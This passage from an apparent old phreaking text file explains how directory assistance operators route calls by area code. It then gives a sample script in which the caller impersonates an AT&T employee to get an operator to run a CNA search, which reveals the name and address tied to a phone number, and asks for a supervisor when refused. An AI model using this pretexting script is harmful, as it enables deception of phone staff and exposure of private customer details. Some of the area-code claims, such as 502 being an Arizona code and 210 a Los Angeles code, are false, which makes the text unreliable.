supposed to. If the switches in 602 are full, the call could end up
anywhere in the US.
When the operator picks up the reciever- (it is actually a headset that
beeps). The call is automatically traced to whatever area code they
dialed. so if You dialed (602 555 1212). an operator anywhere in the US,
would get a listing on their screen, and a default city, in the upper left
hand corner [PHOE] (phoenix arizona). [ *note*: depending on the area
code, 602 for example, the operator can search the area codes permitted in
that area code..]
for example, if you dialed 602-555-1212, the operator would be allowed to
search in 502 (the other area code in AZ) However, in some area codes,
they will make you redial, like LA, or TEXAS, or NEWYORK;
they have so many area codes, For example 310 and 210, in LOS ANGELES
If you wanted a listing for LOS ANGELES, and dialed 210-555-1212,
and wanted a listing for city in los angeles which was 310, they would
make you hang up and dial 310-555-1212. (the operator
shuld be saying to himself/herself, "no, this kiddie needz to call 310
instead, or i get fired for giving out bad information"...if they have a
clue)
Sample Call to a D A O for a CNA Search: ( The best way to get info )
( caller dials 555-1212 in area code )
City please?
Yes, this is James Thornton at AT&T the AT&T administrative
assistance office. I need you to do a CNA Search for me.
I'm sorry sir, we're not permitted to do CNA searches.
Yes, I know. May I speak to a supervisor?